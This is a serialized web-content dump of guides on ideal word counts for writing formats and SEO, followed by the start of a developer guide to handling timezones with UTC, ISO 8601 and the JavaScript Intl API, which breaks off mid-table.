Format",{"type":8,"value":224357,"toc":224809},[224358,224362,224365,224368,224372,224375,224486,224490,224493,224496,224522,224526,224529,224551,224554,224558,224561,224564,224589,224592,224596,224599,224603,224623,224627,224630,224633,224644,224648,224651,224671,224674,224678,224681,224753,224756,224758,224778,224780,224800,224802,224805],[11,224359,224361],{"id":224360},"why-word-count-matters","Why Word Count Matters",[16,224363,224364],{},"Word count shapes how readers experience your content. Hit the right length and your message lands. Miss it and you either leave questions unanswered or bury your point in filler.",[16,224366,224367],{},"The stakes are real. Blog posts that are too short fail to rank. Emails that are too long get skimmed or ignored. Social posts that drag lose engagement before the call to action. Every format has a sweet spot — and hitting it consistently separates competent writing from mediocre attempts.",[11,224369,224371],{"id":224370},"ideal-word-counts-by-format","Ideal Word Counts by Format",[16,224373,224374],{},"Different formats serve different purposes, and their ideal lengths reflect that:",[193,224376,224377,224388],{},[196,224378,224379],{},[199,224380,224381,224383,224386],{},[202,224382,13018],{},[202,224384,224385],{},"Ideal Word Count",[202,224387,23393],{},[211,224389,224390,224401,224412,224423,224434,224444,224454,224465,224475],{},[199,224391,224392,224395,224398],{},[216,224393,224394],{},"Blog post (SEO)",[216,224396,224397],{},"1,500–2,500",[216,224399,224400],{},"Thorough enough to rank, focused enough to hold attention",[199,224402,224403,224406,224409],{},[216,224404,224405],{},"In-depth guide",[216,224407,224408],{},"2,500–5,000",[216,224410,224411],{},"Covers complex topics with examples and evidence",[199,224413,224414,224417,224420],{},[216,224415,224416],{},"Social media post",[216,224418,224419],{},"50–280",[216,224421,224422],{},"Fits platform constraints, maximizes engagement",[199,224424,224425,224428,224431],{},[216,224426,224427],{},"Professional email",[216,224429,224430],{},"75–200",[216,224432,224433],{},"Gets to the point fast, respects inbox overload",[199,224435,224436,224438,224441],{},[216,224437,12096],{},[216,224439,224440],{},"300–700",[216,224442,224443],{},"Converts without overwhelming",[199,224445,224446,224449,224451],{},[216,224447,224448],{},"Press release",[216,224450,31805],{},[216,224452,224453],{},"Standard format, scannable for journalists",[199,224455,224456,224459,224462],{},[216,224457,224458],{},"Product description",[216,224460,224461],{},"50–300",[216,224463,224464],{},"Enough detail to sell, not enough to bore",[199,224466,224467,224470,224472],{},[216,224468,224469],{},"Case study",[216,224471,2834],{},[216,224473,224474],{},"Tells the story with data, stays readable",[199,224476,224477,224480,224483],{},[216,224478,224479],{},"Newsletter",[216,224481,224482],{},"400–800",[216,224484,224485],{},"Delivers value in a quick read",[33,224487,224489],{"id":224488},"blog-posts-the-seo-sweet-spot","Blog Posts: The SEO Sweet Spot",[16,224491,224492],{},"Research from multiple content marketing studies consistently shows that blog posts between 1,500 and 2,500 words earn the most organic traffic. Posts under 1,000 words rarely compete for competitive keywords. Posts over 3,000 words often see diminishing returns unless the topic demands that depth.",[16,224494,224495],{},"Four principles for blog post length:",[41,224497,224498,224504,224510,224516],{},[44,224499,224500,224503],{},[47,224501,224502],{},"Front-load value"," — Deliver the core insight within the first 200 words",[44,224505,224506,224509],{},[47,224507,224508],{},"Use descriptive headers"," — Break long posts into scannable sections",[44,224511,224512,224515],{},[47,224513,224514],{},"Cut filler"," — \"In today's fast-paced world\" adds words, not meaning",[44,224517,224518,224521],{},[47,224519,224520],{},"Match depth to topic"," — A how-to tutorial needs more words than an opinion piece",[33,224523,224525],{"id":224524},"social-media-short-wins","Social Media: Short Wins",[16,224527,224528],{},"Every platform rewards brevity differently:",[41,224530,224531,224536,224541,224546],{},[44,224532,224533,224535],{},[47,224534,23900],{},": 280 characters max, but posts between 70 and 100 characters get the most retweets",[44,224537,224538,224540],{},[47,224539,23941],{},": Posts under 150 characters earn the highest engagement per impression",[44,224542,224543,224545],{},[47,224544,23920],{},": Only 125 characters appear before the \"more\" button — put the hook first",[44,224547,224548,224550],{},[47,224549,23962],{},": Posts with 40–80 characters perform best for engagement",[16,224552,224553],{},"Short posts work because they demand less from scrolling readers. If you can say it in 50 characters, do not use 200.",[33,224555,224557],{"id":224556},"emails-less-is-more","Emails: Less Is More",[16,224559,224560],{},"The average professional receives over 120 emails per day. Long emails get skimmed. Very long emails get ignored entirely.",[16,224562,224563],{},"Structure helps even more than word count:",[77,224565,224566,224572,224578,224584],{},[44,224567,224568,224571],{},[47,224569,224570],{},"Subject line",": 6–10 words for optimal open rates",[44,224573,224574,224577],{},[47,224575,224576],{},"Opening line",": State your purpose in one sentence",[44,224579,224580,224583],{},[47,224581,224582],{},"Body",": 2–3 short paragraphs, one idea each",[44,224585,224586,224588],{},[47,224587,31248],{},": One clear, specific request",[16,224590,224591],{},"A 100-word email that gets a reply beats a 500-word email that gets archived.",[11,224593,224595],{"id":224594},"how-word-count-affects-seo-rankings","How Word Count Affects SEO Rankings",[16,224597,224598],{},"Search engines use content length as a quality signal, but the relationship is not linear.",[33,224600,224602],{"id":224601},"the-three-zones","The Three Zones",[41,224604,224605,224611,224617],{},[44,224606,224607,224610],{},[47,224608,224609],{},"Thin content"," (under 300 words): Rarely ranks for anything competitive. Search engines struggle to determine the topic and intent.",[44,224612,224613,224616],{},[47,224614,224615],{},"Medium content"," (800–1,500 words): Works well for niche topics and long-tail keywords. Sufficient for \"how to\" and definition queries.",[44,224618,224619,224622],{},[47,224620,224621],{},"Long-form content"," (1,500–3,000+ words): Dominates competitive head terms. Multiple sections let you naturally cover related subtopics and synonyms.",[33,224624,224626],{"id":224625},"quality-outweighs-quantity","Quality Outweighs Quantity",[16,224628,224629],{},"A focused 1,200-word article that thoroughly answers a question will outrank a padded 2,500-word article that repeats the same three points. Google has explicitly stated that word count is not a direct ranking factor. What matters is whether your content satisfies the search intent.",[16,224631,224632],{},"Before adding words, ask:",[41,224634,224635,224638,224641],{},[44,224636,224637],{},"Does this paragraph add new information?",[44,224639,224640],{},"Would removing this sentence weaken the argument?",[44,224642,224643],{},"Am I covering what the searcher actually wants to know?",[11,224645,224647],{"id":224646},"adjusting-length-for-your-audience","Adjusting Length for Your Audience",[16,224649,224650],{},"Your readers determine the right length as much as the format does.",[41,224652,224653,224659,224665],{},[44,224654,224655,224658],{},[47,224656,224657],{},"Technical audiences"," expect thorough coverage. They will read 3,000+ words if the content is precise and valuable. Skimp on detail and they question your credibility.",[44,224660,224661,224664],{},[47,224662,224663],{},"General audiences"," scan more than they read. Keep posts under 2,000 words with frequent headers, bullet points, and bold key terms.",[44,224666,224667,224670],{},[47,224668,224669],{},"Mobile-first readers"," need even tighter writing. Shorter paragraphs, punchier openings, and fewer words overall. A 1,500-word post that reads well on desktop can feel interminable on a phone screen.",[16,224672,224673],{},"Know your analytics. If your average time on page is 90 seconds but your reading time is 6 minutes, your content is too long for your actual audience.",[11,224675,224677],{"id":224676},"word-count-tools-compared","Word Count Tools Compared",[16,224679,224680],{},"Several tools help you track word counts. Here is how they differ:",[193,224682,224683,224694],{},[196,224684,224685],{},[199,224686,224687,224689,224691],{},[202,224688,751],{},[202,224690,160722],{},[202,224692,224693],{},"Weaknesses",[211,224695,224696,224707,224718,224729,224742],{},[199,224697,224698,224701,224704],{},[216,224699,224700],{},"Google Docs",[216,224702,224703],{},"Live count, easy sharing",[216,224705,224706],{},"No character-only mode",[199,224708,224709,224712,224715],{},[216,224710,224711],{},"Microsoft Word",[216,224713,224714],{},"Detailed statistics dialog",[216,224716,224717],{},"Slow for quick checks",[199,224719,224720,224723,224726],{},[216,224721,224722],{},"Online word counters",[216,224724,224725],{},"Instant, no installation",[216,224727,224728],{},"Privacy concerns with pasted text",[199,224730,224731,224736,224739],{},[216,224732,224733,224734,1525],{},"CLI tools (",[143,224735,24215],{},[216,224737,224738],{},"Fast, scriptable",[216,224740,224741],{},"Count only, no formatting context",[199,224743,224744,224747,224750],{},[216,224745,224746],{},"IDE word count",[216,224748,224749],{},"Integrated into workflow",[216,224751,224752],{},"Varies by editor",[16,224754,224755],{},"For everyday writing, an online word counter gives you the fastest feedback. For batch processing content files, command-line tools scale better.",[11,224757,1355],{"id":1354},[41,224759,224760,224763,224766,224769,224772,224775],{},[44,224761,224762],{},"Every format has an ideal word count range — hitting it improves engagement and ranking potential.",[44,224764,224765],{},"Blog posts between 1,500 and 2,500 words perform best for SEO, but only when they fully answer the search intent.",[44,224767,224768],{},"Social media rewards extreme brevity: shorter posts consistently earn more engagement per impression.",[44,224770,224771],{},"Professional emails should stay under 200 words with a single clear call to action.",[44,224773,224774],{},"Quality always beats quantity — a thorough shorter piece outranks padded longer content.",[44,224776,224777],{},"Match your word count to your audience's reading habits, not just the format defaults.",[11,224779,321],{"id":320},[41,224781,224782,224786,224790,224794],{},[44,224783,224784],{},[98,224785,204270],{"href":24515},[44,224787,224788],{},[98,224789,24465],{"href":24464},[44,224791,224792],{},[98,224793,24477],{"href":24476},[44,224795,224796],{},[98,224797,224799],{"href":224798},"\u002Fguides\u002Freading-time-calculation","Reading Time Calculation",[11,224801,286],{"id":285},[16,224803,224804],{},"Want to check whether your draft hits the right word count? Paste your text into our free counter and see words, characters, sentences, and estimated reading time — instantly, no signup required.",[16,224806,224807],{},[98,224808,24488],{"href":24487},{"title":141,"searchDepth":337,"depth":337,"links":224810},[224811,224812,224817,224821,224822,224823,224824,224825],{"id":224360,"depth":337,"text":224361},{"id":224370,"depth":337,"text":224371,"children":224813},[224814,224815,224816],{"id":224488,"depth":343,"text":224489},{"id":224524,"depth":343,"text":224525},{"id":224556,"depth":343,"text":224557},{"id":224594,"depth":337,"text":224595,"children":224818},[224819,224820],{"id":224601,"depth":343,"text":224602},{"id":224625,"depth":343,"text":224626},{"id":224646,"depth":337,"text":224647},{"id":224676,"depth":337,"text":224677},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Discover the ideal word counts for blog posts, social media, emails, and more. Learn how length affects readability and SEO.",{"keywords":224828},[24513,224829],"word-count-best-practices",{"title":224355,"description":224826},"guides\u002Fword-count-best-practices","qDw2B3a53VnJhPJ99YUaDLnbUL_8timfNhYECbrlL1s",{"id":224834,"title":224835,"body":224836,"date":2070,"description":225170,"extension":361,"meta":225171,"navigation":363,"path":225172,"readingTime":1710,"seo":225173,"stem":225174,"__hash__":225175},"guides\u002Fguides\u002Fword-count-seo-content.md","Ideal Word Count for SEO Content",{"type":8,"value":224837,"toc":225157},[224838,224841,224845,224848,224927,224930,224934,224938,224941,224958,224961,224965,224968,224985,224988,224992,224995,225012,225016,225019,225045,225049,225052,225097,225100,225104,225130,225132,225149,225151],[16,224839,224840],{},"There is no universal \"ideal\" word count for SEO — Google has repeatedly stated that content length is not a direct ranking factor. But word count correlates with the signals that do matter: depth of coverage, time on page, and backlink attraction. The right length depends on content type, search intent, and competitive landscape.",[11,224842,224844],{"id":224843},"what-the-data-shows","What the Data Shows",[16,224846,224847],{},"Multiple studies analyzing top-ranking pages reveal consistent patterns:",[193,224849,224850,224862],{},[196,224851,224852],{},[199,224853,224854,224857,224860],{},[202,224855,224856],{},"Content Type",[202,224858,224859],{},"Median Word Count (Top 10)",[202,224861,29088],{},[211,224863,224864,224875,224885,224896,224907,224917],{},[199,224865,224866,224869,224872],{},[216,224867,224868],{},"Long-form blog posts",[216,224870,224871],{},"2,400",[216,224873,224874],{},"1,500–3,500",[199,224876,224877,224880,224882],{},[216,224878,224879],{},"Product category pages",[216,224881,1666],{},[216,224883,224884],{},"500–1,200",[199,224886,224887,224890,224893],{},[216,224888,224889],{},"Landing pages",[216,224891,224892],{},"1,100",[216,224894,224895],{},"700–1,500",[199,224897,224898,224901,224904],{},[216,224899,224900],{},"Product descriptions",[216,224902,224903],{},"350",[216,224905,224906],{},"200–500",[199,224908,224909,224912,224914],{},[216,224910,224911],{},"Local service pages",[216,224913,199831],{},[216,224915,224916],{},"600–1,200",[199,224918,224919,224922,224924],{},[216,224920,224921],{},"Glossary \u002F definition pages",[216,224923,24601],{},[216,224925,224926],{},"400–900",[16,224928,224929],{},"These are medians, not mandates. A 1,200-word article that fully answers a question can outrank a 3,000-word article that pads around the same answer.",[11,224931,224933],{"id":224932},"word-count-by-search-intent","Word Count by Search Intent",[33,224935,224937],{"id":224936},"informational-intent-how-to-and-what-is","Informational Intent — \"How to\" and \"What is\"",[16,224939,224940],{},"Users searching for explanations want completeness. Top-ranking pages for informational queries tend to be 2,000+ words because they cover:",[41,224942,224943,224946,224949,224952,224955],{},[44,224944,224945],{},"Definition or overview",[44,224947,224948],{},"Step-by-step instructions",[44,224950,224951],{},"Common mistakes or misconceptions",[44,224953,224954],{},"Visual aids (diagrams, screenshots)",[44,224956,224957],{},"Related subtopics",[16,224959,224960],{},"Google's helpful content system rewards thoroughness. If you cover a topic in 800 words and competitors cover it in 2,000 with deeper subsections, their page likely satisfies more user queries — and earns more keywords as a result.",[33,224962,224964],{"id":224963},"transactional-intent-product-and-service-pages","Transactional Intent — Product and Service Pages",[16,224966,224967],{},"Users ready to buy need specifics, not essays. Product pages ranking well in e-commerce typically include:",[41,224969,224970,224973,224976,224979,224982],{},[44,224971,224972],{},"Feature descriptions (50–100 words each)",[44,224974,224975],{},"Technical specifications table",[44,224977,224978],{},"Comparison with alternatives",[44,224980,224981],{},"FAQ section (100–200 words per answer)",[44,224983,224984],{},"Social proof (reviews, ratings)",[16,224986,224987],{},"Total word count for transactional pages tends to be lower because users scan rather than read. Excessive copy dilutes the action-oriented signal and pushes the CTA below the fold.",[33,224989,224991],{"id":224990},"navigational-intent-brand-and-landing-pages","Navigational Intent — Brand and Landing Pages",[16,224993,224994],{},"When users search for a brand or product name, they want a clear path forward. Landing pages should prioritize clarity over word count:",[41,224996,224997,225000,225003,225006,225009],{},[44,224998,224999],{},"Headline with value proposition (10–15 words)",[44,225001,225002],{},"Supporting subheadline (20–30 words)",[44,225004,225005],{},"Feature highlights with icons (30–50 words each)",[44,225007,225008],{},"Proof points (logos, stats, testimonials)",[44,225010,225011],{},"Primary CTA above the fold",[11,225013,225015],{"id":225014},"when-shorter-content-wins","When Shorter Content Wins",[16,225017,225018],{},"More words do not always mean better rankings. Short content outperforms when:",[41,225020,225021,225027,225033,225039],{},[44,225022,225023,225026],{},[47,225024,225025],{},"The answer is simple."," \"What is the capital of France?\" does not need 2,000 words. Featured snippets often pull from concise, well-structured answers of 40–60 words.",[44,225028,225029,225032],{},[47,225030,225031],{},"The query is narrow."," \"JSON to YAML converter\" — the user wants a tool, not a tutorial. A 200-word page with a working tool outranks a 2,000-word article about conversion.",[44,225034,225035,225038],{},[47,225036,225037],{},"Freshness matters."," News, product launches, and trend reports rank with 300–500 words when published quickly.",[44,225040,225041,225044],{},[47,225042,225043],{},"Video or interactive content leads."," Pages where the primary value is a video, calculator, or tool can rank well with minimal text around the embedded element.",[11,225046,225048],{"id":225047},"the-quality-threshold","The Quality Threshold",[16,225050,225051],{},"Below certain word counts, content struggles to rank regardless of quality:",[193,225053,225054,225063],{},[196,225055,225056],{},[199,225057,225058,225060],{},[202,225059,224856],{},[202,225061,225062],{},"Minimum for Competitive Queries",[211,225064,225065,225073,225081,225089],{},[199,225066,225067,225070],{},[216,225068,225069],{},"Blog post",[216,225071,225072],{},"1,000 words",[199,225074,225075,225078],{},[216,225076,225077],{},"Product page",[216,225079,225080],{},"200 words (unique, not manufacturer copy)",[199,225082,225083,225086],{},[216,225084,225085],{},"Service page",[216,225087,225088],{},"400 words",[199,225090,225091,225094],{},[216,225092,225093],{},"Glossary entry",[216,225095,225096],{},"250 words",[16,225098,225099],{},"Below these thresholds, algorithms may classify the page as \"thin content,\" especially on sites with many low-word-count pages. Panda-style quality assessments penalize sites where a large fraction of pages fall below 200 words.",[11,225101,225103],{"id":225102},"practical-framework","Practical Framework",[77,225105,225106,225112,225118,225124],{},[44,225107,225108,225111],{},[47,225109,225110],{},"Analyze the top 5 results"," for your target keyword. Note the median word count — your content should be in the same ballpark.",[44,225113,225114,225117],{},[47,225115,225116],{},"Check search intent."," Informational → aim for depth. Transactional → aim for specificity.",[44,225119,225120,225123],{},[47,225121,225122],{},"Audit existing pages."," Pages below the quality threshold need expansion, not more pages.",[44,225125,225126,225129],{},[47,225127,225128],{},"Measure outcomes, not word count."," Track organic traffic, scroll depth, and bounce rate. If metrics improve, the length was right.",[11,225131,1355],{"id":1354},[41,225133,225134,225137,225140,225143,225146],{},[44,225135,225136],{},"Top-ranking blog posts average 2,000–2,500 words, but length is a correlation, not a causation.",[44,225138,225139],{},"Transactional pages need specificity (200–500 words), not volume.",[44,225141,225142],{},"Concise answers win for simple queries; depth wins for complex topics.",[44,225144,225145],{},"Pages below 200–250 words risk being classified as thin content.",[44,225147,225148],{},"Match your word count to search intent and competitor benchmarks, not arbitrary targets.",[11,225150,286],{"id":285},[16,225152,225153,225154,225156],{},"Check whether your content meets the right word count targets. Paste your draft into the ",[98,225155,3237],{"href":3236}," to measure total words, sentences, and estimated reading time — then adjust based on your content type and competitive analysis.",{"title":141,"searchDepth":337,"depth":337,"links":225158},[225159,225160,225165,225166,225167,225168,225169],{"id":224843,"depth":337,"text":224844},{"id":224932,"depth":337,"text":224933,"children":225161},[225162,225163,225164],{"id":224936,"depth":343,"text":224937},{"id":224963,"depth":343,"text":224964},{"id":224990,"depth":343,"text":224991},{"id":225014,"depth":337,"text":225015},{"id":225047,"depth":337,"text":225048},{"id":225102,"depth":337,"text":225103},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Data-driven word count targets for blog posts, landing pages, and product descriptions.",{"immutable":363},"\u002Fguides\u002Fword-count-seo-content",{"title":224835,"description":225170},"guides\u002Fword-count-seo-content","ew3rANlmmmTMIkG8AmBst7FLU1YdSK4v3oZ4FVJdi7c",{"id":225177,"title":89794,"body":225178,"date":2070,"description":226058,"extension":361,"meta":226059,"navigation":363,"path":89793,"readingTime":1717,"seo":226060,"stem":226061,"__hash__":226062},"guides\u002Fguides\u002Fworking-with-timezones.md",{"type":8,"value":225179,"toc":226035},[225180,225184,225187,225190,225194,225197,225226,225231,225235,225242,225293,225304,225308,225311,225317,225322,225336,225351,225355,225361,225365,225457,225461,225492,225496,225601,225606,225610,225615,225679,225687,225691,225753,225757,225824,225828,225832,225874,225879,225883,225938,225942,225948,225951,225955,226011,226013,226023,226025,226033],[11,225181,225183],{"id":225182},"timezone-bugs-are-expensive","Timezone Bugs Are Expensive",[16,225185,225186],{},"A timezone bug does not crash your app — it silently corrupts data. Scheduled emails arrive at the wrong hour. Subscription renewals fire a day early. Audit logs show timestamps that do not match reality. By the time you notice, bad data has spread across systems.",[16,225188,225189],{},"The fix starts with principles, not libraries.",[11,225191,225193],{"id":225192},"always-store-in-utc","Always Store in UTC",[16,225195,225196],{},"UTC never observes Daylight Saving Time. It never shifts. A UTC timestamp means the same thing on every server, in every database, in every country.",[135,225198,225200],{"className":8259,"code":225199,"language":8261,"meta":141,"style":141},"# BAD — storing local time\nevent_time = \"2026-05-28 14:00:00\"  # What zone?\n\n# GOOD — storing UTC\nevent_time = \"2026-05-28T18:00:00Z\"  # 2 PM EDT = 6 PM UTC\n",[143,225201,225202,225207,225212,225216,225221],{"__ignoreMap":141},[1560,225203,225204],{"class":1562,"line":1563},[1560,225205,225206],{},"# BAD — storing local time\n",[1560,225208,225209],{"class":1562,"line":337},[1560,225210,225211],{},"event_time = \"2026-05-28 14:00:00\"  # What zone?\n",[1560,225213,225214],{"class":1562,"line":343},[1560,225215,1702],{"emptyLinePlaceholder":363},[1560,225217,225218],{"class":1562,"line":365},[1560,225219,225220],{},"# GOOD — storing UTC\n",[1560,225222,225223],{"class":1562,"line":889},[1560,225224,225225],{},"event_time = \"2026-05-28T18:00:00Z\"  # 2 PM EDT = 6 PM UTC\n",[16,225227,225228,225230],{},[47,225229,118614],{}," Store every timestamp in UTC. No exceptions. Convert to local time only at the point of display.",[11,225232,225234],{"id":225233},"display-in-local-time","Display in Local Time",[16,225236,225237,225238,225241],{},"Users do not think in UTC. When you show ",[143,225239,225240],{},"2026-05-28T18:00:00Z"," to someone in Tokyo, they have to do mental math. Display times in the user's local timezone instead.",[135,225243,225245],{"className":1607,"code":225244,"language":1609,"meta":141,"style":141},"\u002F\u002F Convert UTC to the user's local timezone\nconst date = new Date(\"2026-05-28T18:00:00Z\")\nconsole.log(date.toLocaleString())\n\u002F\u002F In Tokyo:  \"2026\u002F5\u002F29 03:00:00\" (next day!)\n\u002F\u002F In New York: \"5\u002F28\u002F2026, 2:00:00 PM\"\n",[143,225246,225247,225252,225271,225283,225288],{"__ignoreMap":141},[1560,225248,225249],{"class":1562,"line":1563},[1560,225250,225251],{"class":1649},"\u002F\u002F Convert UTC to the user's local timezone\n",[1560,225253,225254,225256,225258,225260,225262,225264,225266,225269],{"class":1562,"line":337},[1560,225255,8180],{"class":1669},[1560,225257,87637],{"class":1576},[1560,225259,8186],{"class":1669},[1560,225261,11489],{"class":1669},[1560,225263,87644],{"class":1566},[1560,225265,1688],{"class":1570},[1560,225267,225268],{"class":5634},"\"2026-05-28T18:00:00Z\"",[1560,225270,8252],{"class":1570},[1560,225272,225273,225275,225277,225279,225281],{"class":1562,"line":343},[1560,225274,8211],{"class":1570},[1560,225276,8214],{"class":1566},[1560,225278,87662],{"class":1570},[1560,225280,94975],{"class":1566},[1560,225282,38018],{"class":1570},[1560,225284,225285],{"class":1562,"line":365},[1560,225286,225287],{"class":1649},"\u002F\u002F In Tokyo:  \"2026\u002F5\u002F29 03:00:00\" (next day!)\n",[1560,225289,225290],{"class":1562,"line":889},[1560,225291,225292],{"class":1649},"\u002F\u002F In New York: \"5\u002F28\u002F2026, 2:00:00 PM\"\n",[16,225294,13680,225295,225297,225298,1531,225301,468],{},[143,225296,87683],{}," object converts to the browser's local timezone automatically when you use ",[143,225299,225300],{},"toLocaleString()",[143,225302,225303],{},"toLocaleDateString()",[11,225305,225307],{"id":225306},"iso-8601-format","ISO 8601 Format",[16,225309,225310],{},"ISO 8601 is the international standard for date and time representation. It eliminates ambiguity.",[135,225312,225315],{"className":225313,"code":225314,"language":140,"meta":141},[138],"2026-05-28T18:00:00Z          (UTC, denoted by Z)\n2026-05-28T14:00:00-04:00     (with offset)\n2026-05-28                     (date only — no ambiguity)\n",[143,225316,225314],{"__ignoreMap":141},[16,225318,225319],{},[47,225320,225321],{},"Why ISO 8601 wins:",[41,225323,225324,225327,225330,225333],{},[44,225325,225326],{},"Alphabetical sort equals chronological sort",[44,225328,225329],{},"Every component has a fixed position",[44,225331,225332],{},"Timezone offset is explicit",[44,225334,225335],{},"Supported by every major language and database",[16,225337,225338,5181,225341,1531,225343,225346,225347,225350],{},[47,225339,225340],{},"Always include the offset",[143,225342,22039],{},[143,225344,225345],{},"+\u002F-HH:MM","). A bare string like ",[143,225348,225349],{},"2026-05-28T14:00:00"," is ambiguous — different systems interpret it as local or UTC inconsistently.",[11,225352,225354],{"id":225353},"javascript-intl-api","JavaScript Intl API",[16,225356,225357,225358,225360],{},"Modern browsers provide the ",[143,225359,206461],{}," API for timezone-aware formatting — no libraries required.",[33,225362,225364],{"id":225363},"format-in-a-specific-timezone","Format in a Specific Timezone",[135,225366,225368],{"className":1607,"code":225367,"language":1609,"meta":141,"style":141},"const date = new Date(\"2026-05-28T18:00:00Z\")\n\nconst londonTime = new Intl.DateTimeFormat(\"en-GB\", {\n  timeZone: \"Europe\u002FLondon\",\n  dateStyle: \"full\",\n  timeStyle: \"short\",\n}).format(date)\n\u002F\u002F \"Thursday, 28 May 2026 at 19:00\" (BST, UTC+1)\n",[143,225369,225370,225388,225392,225414,225423,225433,225443,225452],{"__ignoreMap":141},[1560,225371,225372,225374,225376,225378,225380,225382,225384,225386],{"class":1562,"line":1563},[1560,225373,8180],{"class":1669},[1560,225375,87637],{"class":1576},[1560,225377,8186],{"class":1669},[1560,225379,11489],{"class":1669},[1560,225381,87644],{"class":1566},[1560,225383,1688],{"class":1570},[1560,225385,225268],{"class":5634},[1560,225387,8252],{"class":1570},[1560,225389,225390],{"class":1562,"line":337},[1560,225391,1702],{"emptyLinePlaceholder":363},[1560,225393,225394,225396,225399,225401,225403,225405,225407,225409,225412],{"class":1562,"line":343},[1560,225395,8180],{"class":1669},[1560,225397,225398],{"class":1576}," londonTime",[1560,225400,8186],{"class":1669},[1560,225402,11489],{"class":1669},[1560,225404,89286],{"class":1570},[1560,225406,89289],{"class":1566},[1560,225408,1688],{"class":1570},[1560,225410,225411],{"class":5634},"\"en-GB\"",[1560,225413,49495],{"class":1570},[1560,225415,225416,225418,225421],{"class":1562,"line":365},[1560,225417,94986],{"class":1570},[1560,225419,225420],{"class":5634},"\"Europe\u002FLondon\"",[1560,225422,11943],{"class":1570},[1560,225424,225425,225428,225431],{"class":1562,"line":889},[1560,225426,225427],{"class":1570},"  dateStyle: ",[1560,225429,225430],{"class":5634},"\"full\"",[1560,225432,11943],{"class":1570},[1560,225434,225435,225438,225441],{"class":1562,"line":1710},[1560,225436,225437],{"class":1570},"  timeStyle: ",[1560,225439,225440],{"class":5634},"\"short\"",[1560,225442,11943],{"class":1570},[1560,225444,225445,225447,225449],{"class":1562,"line":1717},[1560,225446,49627],{"class":1570},[1560,225448,88484],{"class":1566},[1560,225450,225451],{"class":1570},"(date)\n",[1560,225453,225454],{"class":1562,"line":1747},[1560,225455,225456],{"class":1649},"\u002F\u002F \"Thursday, 28 May 2026 at 19:00\" (BST, UTC+1)\n",[33,225458,225460],{"id":225459},"list-available-timezones","List Available Timezones",[135,225462,225464],{"className":1607,"code":225463,"language":1609,"meta":141,"style":141},"const zones = Intl.supportedValuesOf(\"timeZone\")\n\u002F\u002F [\"Africa\u002FAbidjan\", \"Africa\u002FAccra\", ..., \"America\u002FNew_York\", ...]\n",[143,225465,225466,225487],{"__ignoreMap":141},[1560,225467,225468,225470,225473,225475,225477,225480,225482,225485],{"class":1562,"line":1563},[1560,225469,8180],{"class":1669},[1560,225471,225472],{"class":1576}," zones",[1560,225474,8186],{"class":1669},[1560,225476,89286],{"class":1570},[1560,225478,225479],{"class":1566},"supportedValuesOf",[1560,225481,1688],{"class":1570},[1560,225483,225484],{"class":5634},"\"timeZone\"",[1560,225486,8252],{"class":1570},[1560,225488,225489],{"class":1562,"line":337},[1560,225490,225491],{"class":1649},"\u002F\u002F [\"Africa\u002FAbidjan\", \"Africa\u002FAccra\", ..., \"America\u002FNew_York\", ...]\n",[33,225493,225495],{"id":225494},"get-the-offset-for-a-specific-date","Get the Offset for a Specific Date",[135,225497,225499],{"className":1607,"code":225498,"language":1609,"meta":141,"style":141},"const formatter = new Intl.DateTimeFormat(\"en-US\", {\n  timeZone: \"America\u002FNew_York\",\n  timeZoneName: \"shortOffset\",\n})\n\nformatter.format(new Date(\"2026-01-15T12:00:00Z\"))\n\u002F\u002F \"1\u002F15\u002F2026, GMT-5\" (EST)\n\nformatter.format(new Date(\"2026-07-15T12:00:00Z\"))\n\u002F\u002F \"7\u002F15\u002F2026, GMT-4\" (EDT)\n",[143,225500,225501,225522,225531,225541,225545,225549,225568,225573,225577,225596],{"__ignoreMap":141},[1560,225502,225503,225505,225507,225509,225511,225513,225515,225517,225520],{"class":1562,"line":1563},[1560,225504,8180],{"class":1669},[1560,225506,89279],{"class":1576},[1560,225508,8186],{"class":1669},[1560,225510,11489],{"class":1669},[1560,225512,89286],{"class":1570},[1560,225514,89289],{"class":1566},[1560,225516,1688],{"class":1570},[1560,225518,225519],{"class":5634},"\"en-US\"",[1560,225521,49495],{"class":1570},[1560,225523,225524,225526,225529],{"class":1562,"line":337},[1560,225525,94986],{"class":1570},[1560,225527,225528],{"class":5634},"\"America\u002FNew_York\"",[1560,225530,11943],{"class":1570},[1560,225532,225533,225536,225539],{"class":1562,"line":343},[1560,225534,225535],{"class":1570},"  timeZoneName: ",[1560,225537,225538],{"class":5634},"\"shortOffset\"",[1560,225540,11943],{"class":1570},[1560,225542,225543],{"class":1562,"line":365},[1560,225544,1626],{"class":1570},[1560,225546,225547],{"class":1562,"line":889},[1560,225548,1702],{"emptyLinePlaceholder":363},[1560,225550,225551,225553,225555,225557,225559,225561,225563,225566],{"class":1562,"line":1710},[1560,225552,89408],{"class":1570},[1560,225554,88484],{"class":1566},[1560,225556,1688],{"class":1570},[1560,225558,20807],{"class":1669},[1560,225560,87644],{"class":1566},[1560,225562,1688],{"class":1570},[1560,225564,225565],{"class":5634},"\"2026-01-15T12:00:00Z\"",[1560,225567,9429],{"class":1570},[1560,225569,225570],{"class":1562,"line":1717},[1560,225571,225572],{"class":1649},"\u002F\u002F \"1\u002F15\u002F2026, GMT-5\" (EST)\n",[1560,225574,225575],{"class":1562,"line":1747},[1560,225576,1702],{"emptyLinePlaceholder":363},[1560,225578,225579,225581,225583,225585,225587,225589,225591,225594],{"class":1562,"line":2507},[1560,225580,89408],{"class":1570},[1560,225582,88484],{"class":1566},[1560,225584,1688],{"class":1570},[1560,225586,20807],{"class":1669},[1560,225588,87644],{"class":1566},[1560,225590,1688],{"class":1570},[1560,225592,225593],{"class":5634},"\"2026-07-15T12:00:00Z\"",[1560,225595,9429],{"class":1570},[1560,225597,225598],{"class":1562,"line":2524},[1560,225599,225600],{"class":1649},"\u002F\u002F \"7\u002F15\u002F2026, GMT-4\" (EDT)\n",[16,225602,421,225603,225605],{},[143,225604,206461],{}," API handles DST automatically. Use it for display wherever possible.",[11,225607,225609],{"id":225608},"timezone-libraries","Timezone Libraries",[16,225611,421,225612,225614],{},[143,225613,206461],{}," API covers most display needs, but complex operations — arithmetic, parsing, range queries — benefit from dedicated libraries.",[193,225616,225617,225629],{},[196,225618,225619],{},[199,225620,225621,225623,225625,225627],{},[202,225622,187639],{},[202,225624,13021],{},[202,225626,160722],{},[202,225628,224693],{},[211,225630,225631,225647,225662],{},[199,225632,225633,225637,225640,225643],{},[216,225634,225635],{},[143,225636,208642],{},[216,225638,225639],{},"~3 KB",[216,225641,225642],{},"Modular, 